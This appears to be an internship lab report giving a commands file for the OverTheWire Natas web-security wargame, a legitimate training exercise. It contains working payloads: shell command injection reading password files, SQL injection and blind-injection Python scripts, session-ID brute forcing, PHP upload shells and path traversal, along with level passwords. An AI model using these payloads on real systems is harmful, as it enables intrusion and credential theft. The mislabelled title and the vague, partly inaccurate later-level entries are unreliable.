**DIGISURAKSHA PARHARI FOUNDATION**

**Cybersecurity Wargame Internship**

**Lab Report: Krypton Wargame**

**Commands file**

**Team Members:**

* Prajakta Shinde - KRYPTON
* Saniya Shinde – NATAS
* Riya Rasal – NATAS
* Shraddha Khade – NATAS
* Kumkum Yadav – LEVIATHAN

**NATAS COMMANDS**

**# Level 0 → Level 1**

Right-click → "View Page Source" or Ctrl+U

**# Level 1 → Level 2**

Keyboard shortcut Ctrl+U to view source code

Alternative: F12 for developer tools or browser menu View → Page Source

**# Level 2 → Level 3**

Ctrl+U to view page source

Browser navigation to http://natas2.natas.labs.overthewire.org/files/

Accessing http://natas2.natas.labs.overthewire.org/files/users.txt

**# Level 3 → Level 4**

Ctrl+U to view page source

Browser navigation to http://natas3.natas.labs.overthewire.org/robots.txt

Browser navigation to http://natas3.natas.labs.overthewire.org/s3cr3t/

Accessing http://natas3.natas.labs.overthewire.org/s3cr3t/users.txt

**# Level 4 → Level 5**

F12 to open developer tools

Used browser extension or network request modification tool to set Referer header to

"http://natas5.natas.labs.overthewire.org/"

Alternative: curl -e "http://natas5.natas.labs.overthewire.org/" -u natas4:PASSWORD http://natas4.natas.labs.overthewire.org/

**# Level 5 → Level 6**

F12 to open developer tools

Navigate to Application/Storage tab and locate cookies

Edit the "loggedin" cookie value from 0 to 1

Refresh the page

**# Level 6 → Level 7**

Ctrl+U to view page source

Navigate to http://natas6.natas.labs.overthewire.org/includes/secret.inc

Submit the discovered secret in the form.

**# Level 7 → Level 8**

Ctrl+U to view page source

Modified URL to: http://natas7.natas.labs.overthewire.org/index.php?page=/etc/natas\_webpass/natas8.

**# Level 8 → Level 9**

Ctrl+U to view page source

Used PHP or similar tools to reverse the encoding:

```php

$encodedSecret = "3d3d516343746d4d6d6c315669563362";

$secret = base64\_decode(strrev(hex2bin($encodedSecret)));

**#Level 9 → Level 10**

Ctrl+U to view page source

Entered in search field: ; cat /etc/natas\_webpass/natas10 # (this terminates the grep command and reads the password file)

**#Level 10 → Level 11**

Ctrl+U to view page source

Entered in search field: . /etc/natas\_webpass/natas11 (this makes grep search for any character in both the dictionary and the password file)

**#Level 11 → Level 12**

F12 to open developer tools and examine cookies

Used code to find the XOR key:

PHP

$defaultData = array("showpassword"=>"no", "bgcolor"=>"#ffffff");

$cookieData = base64\_decode(urldecode(/\* cookie value \*/));

$key = $defaultData XOR $cookieData;

Created a new cookie with "showpassword"=>"yes"

Modified and set the new cookie

<!-- end list -->

**#Level 12 → Level 13**

Created a PHP file with: <?php echo file\_get\_contents("/etc/natas\_webpass/natas13"); ?>

Used browser developer tools to change the hidden "filename" field from "random.jpg" to "random.php"

Uploaded the file and accessed the resulting URL

**#Level 13 → Level 14**

Created a PHP file with JPEG magic bytes: FF D8 FF E0 followed by PHP code:

FF D8 FF E0 00 10 4A 46 49 46 00 01 <?php echo file\_get\_contents("/etc/natas\_webpass/natas14"); ?>

Used browser developer tools to change the hidden "filename" field from "random.jpg" to "random.php"

Uploaded the file and accessed the resulting URL

**#Level 14 → Level 15**

Ctrl+U to view page source

Entered in username field: " OR 1=1 #

Left password field empty or entered any value

**#Level 15 → Level 16**

Python script used for automation:

import requests import string url = 'http://natas15.natas.labs.overthewire.org' auth = ('natas15', 'AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J') chars = string.ascii\_letters + string.digits password = '' for i in range(1, 33): for c in chars: payload = f'natas16" AND BINARY SUBSTRING(password,{i},1)="{c}"#' response = requests.post(url, auth=auth, data={'username': payload}) if "This user exists" in response.text: password += c print(f"[+] Found character {i}: {c}") break print("[\*] Password:", password)

**#Level 16 → Level 17**

Example input used in the form field:

; cat${IFS}/etc/natas\_webpass/natas17

**#Level 17 → Level 18**

Python script used:

import requests import string import time url = 'http://natas17.natas.labs.overthewire.org' auth = ('natas17', '8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw') chars = string.ascii\_letters + string.digits password = '' for i in range(1, 33): for c in chars: payload = f'natas18" AND BINARY SUBSTRING(password,{i},1)="{c}" AND sleep(2)#' start = time.time() response = requests.post(url, auth=auth, data={'username': payload}) duration = time.time() - start if duration > 2: password += c print(f"[+] Found character {i}: {c}") break print("[\*] Password:", password)

**#Level 18 → Level 19**

Python script used:

import requests url = 'http://natas18.natas.labs.overthewire.org' auth = ('natas18', 'xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP') for i in range(1, 641): session\_id = str(i) cookies = {'PHPSESSID': session\_id} response = requests.get(url, auth=auth, cookies=cookies) if "You are an admin" in response.text: print(f"[+] Admin session found: {session\_id}") print(response.text) break

**#Level 19 → Level 20**

Python script:

import requests import binascii url = 'http://natas19.natas.labs.overthewire.org' auth = ('natas19', '4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs') for i in range(1, 641): username = 'admin' session\_raw = f"{username}{i}" session\_hex = binascii.hexlify(session\_raw.encode()).decode() cookies = {'PHPSESSID': session\_hex} response = requests.get(url, auth=auth, cookies=cookies) if "You are an admin" in response.text: print(f"[+] Found admin session: {session\_hex}") print(response.text) break

**#Level 20 → Level 21**

PHP payload attempt:

../../../../etc/natas\_webpass/natas21

**#Level 21 → Level 22**

Steps performed:

Visit: http://natas21-experimenter.natas.labs.overthewire.org

Submit form with admin=1

Copy the PHPSESSID cookie

Visit: http://natas21.natas.labs.overthewire.org using the same cookie

**#Level 22 → Level 23**

Python script:

import requests url = 'http://natas22.natas.labs.overthewire.org?revelio=true' auth = ('natas22', 'G7w8LIi6J3kTb8A7j9LgrywtEUlyyp6s') response = requests.get(url, auth=auth, allow\_redirects=False) print(response.text)

**#Level 23 → Level 24**

Example PHP payload:

&lt;?php echo file\_get\_contents('/etc/natas\_webpass/natas24'); ?>

Accessed the uploaded file via:

http://natas23.natas.labs.overthewire.org/uploads/shell.php.jpg

**#Level 24 → Level 25**

Used Burp Suite or crafted a POST request manually with:

username=admin&amp;passwd[]=1

**#Level 25 → Level 26**

Manipulated URL:

http://natas25.natas.labs.overthewire.org/?lang=....//....//....//....//etc/natas\_webpass/natas26

**#Level 26 → Level 27**

Created a custom PHP class with a destructor that reads /etc/natas\_webpass/natas27.

Serialized and base64-encoded the payload.

**#Level 27 → Level 28**

Created username:

natas28\x00

**#Level 28 → Level 29**

Wrote a Python script to automate block decryption.

**#Level 29 → Level 30**

Used known-plaintext attack techniques in Python.

**#Level 30 → Level 31**

SQL Injection payload:

" or 1=1 #

#**Level 31 → Level 32**

Injected input:

; cat /etc/natas\_webpass/natas32

**#Level 32 → Level 33**

Accessed http://natas32.natas.labs.overthewire.org.

Observed a page with a form that likely handles user input unsafely.

Attempted to exploit potential buffer overflow vulnerabilities.

**# Level 33 → Level 34**

Analyzed the provided C source code for potential vulnerabilities.

Identified a format string vulnerability in the logging mechanism.

Crafted a payload to overwrite memory and potentially gain code execution.